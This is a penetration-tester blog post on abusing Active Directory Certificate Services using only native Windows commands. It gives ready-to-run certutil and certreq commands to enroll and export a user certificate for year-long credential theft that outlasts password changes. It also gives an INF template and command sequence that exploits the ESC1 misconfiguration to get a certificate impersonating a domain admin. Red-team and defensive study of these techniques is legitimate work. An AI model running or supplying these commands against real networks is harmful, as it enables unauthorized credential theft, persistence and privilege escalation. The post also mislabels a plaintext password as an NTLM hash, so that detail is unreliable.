Fun with AD CS from Windows Command Line

Author

Dylan W.
April 17, 2023

This blog assumes that you only have access to a command shell. Right now you just want to go as far as you can with that command shell before you setup your proxy, detonate a C2 agent, etc. It is also assumes familiarity with AD CS vulnerabilities and abuse cases found by SpecterOps (e.g., ESC 1) and plan to use Certipy for authenticating with the certificates at some point. If you’ve ever played with certutil then you know that it loves to pop up a GUI when you don’t supply the right argument. The example commands in this blog avoids those interactions since we are assumed to be working with just a command shell.

Let’s jump in with some basic certutil 101 to get a list of templates: 

C:\> certutil -v -dstemplate

This will get you a list of all templates with general permission and enrollment settings. You will not get highly detailed configurations such as those returned through LDAP searches. However, you may still be able to identify low hanging fruit.

We will not be exploiting ESC 4 in this blog. I just wanted to show an example of a vulnerable template that you might encounter using certutil alone by itself.

The first example we’ll demonstrate for abusing AD CS doesn’t have anything to do with escalation whatsoever. Instead, we will discuss how default templates can be abused the second you obtain your command shell.

Default User Template

Straight out of the gate the default User template can be used to obtain a certificate for your user. The default validity period for the certificate is 1 year which is useful if the user changes their password either due to expiration or IR steps in down the road and has them change it. As long as the certificate is still valid and hasn’t been revoked then we can use it to obtain the NTLM hash for the account. This allows a semi-persistent form of credential theft (true for all certificates in general). The ClientAuth template is another potential option here, but we’ll use the User template. Ok, so first let’s go ahead and enroll our user: 

certreq -q -enroll User

We’ll note the Serial Number so that we can export the certificate.

Next, we’ll export the certificate using whatever password you want (hang onto it of course) and supplying the serial number for the certificate: 

certutil -exportpfx -user -p “Password123” My C:\path\dwebb.pfx

You can think of “My” as a keyword for the user’s Personal Certificate Store (i.e., when using the Cert Manager GUI from the desktop)

That’s all there is to it. Just two commands. Exfiltrate the certificate however you want and hold onto it. 

certipy-ad cert -pfx dwebb.pfx -password Password123 -export -out dwebbfinal.pfx

Sometime over the next few hours, or weeks, or year once you have your SOCKS proxy then go ahead and proxychain it through per usual to obtain the user’s NTLM hash.

NTLM hash is My0ldpass! in case you are curious.

What I love about certificates from an offsec perspective, (but should scare the crap out of defenders) is that this certificate is valid for a year (or longer) by default. Defenders will need to hunt it down and revoke it, otherwise, we can still use it whenever we want.

OK, so we were able to retrieve the user’s NTLM hash with just 2 commands (and eventually a SOCKS proxy at some point within the next year). That’s convenient.

While attacks on AD CS are great for escalation they also have an advantage for credential theft. This should not be news to anyone already familiar with AD CS vulnerabilities and exploitation but abusing default templates is pretty nifty. Speaking of escalation how might we exploit something like Escalation 1 from the command line? It’s actually pretty easy…

Exploiting ESC1

To exploit ESC1 from the command line first we need to create an INF file for the request. All you’ll need to do is set the UPN of the account you’re targeting in the SAN and the name of the vulnerable template. These 2 lines are bolded below. 

; esc1.inf

[Version]
Signature=”$Windows NT$”

[NewRequest]
Subject = “CN=ESC1” ; Rename to whatever you want
Exportable = TRUE ; Need true for export to pfx later
KeyLength = 2048
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE
ProviderName = “Microsoft RSA SChannel Cryptographic Provider”
RequestType = PKCS10

[Extensions]
2.5.29.17 = “{text}” ; OID for SAN extension
continue = “upn=@” ; UPN of DA account to place in SAN

[RequestAttributes]
CertificateTemplate = “” ; Name of template you’re exploiting

  • continue = “upn=@” ; UPN of DA account to place in SAN

  • CertificateTemplate = “” ; Name of template you’re exploiting

Grab this file with curl, powershell, etc. and create the request based on the INF above: 

certreq -new esc1.inf request.pem

Next, submit the request to the appropriate CA for your template: 

certreq -config “ca.domain.tld\CA-NAME” -submit request.pem cert.pem

If you don’t know the name of the CA then “certutil -dump” to avoid GUI

Accept the certificate for adding to the user’s personal certificate store and note the Serial Number: 

certreq -accept cert.pem

Finally, export the certificate using the Serial Number from previous command output: 

certutil -exportpfx -user -p “Password123” My C:\path\esc1.pfx

This entire process is also shown below:

Now all you need to do is retrieve the certificate and elevate at a later date when you’re ready.

Conclusion

The default User template can be useful the second we obtain a shell as a means of semi-persistent credential theft. We can use native Windows utilities to obtain these certificates for import into tools at a later date. We can also use them to exploit some of the most common security misconfigurations pointed out by the SpecterOps team. It’s always worth knowing how to leverage native Windows commands and utilities at your disposal to aid in exploitation. You never know when you might find yourself in a situation where it’s the best approach for the time being.

References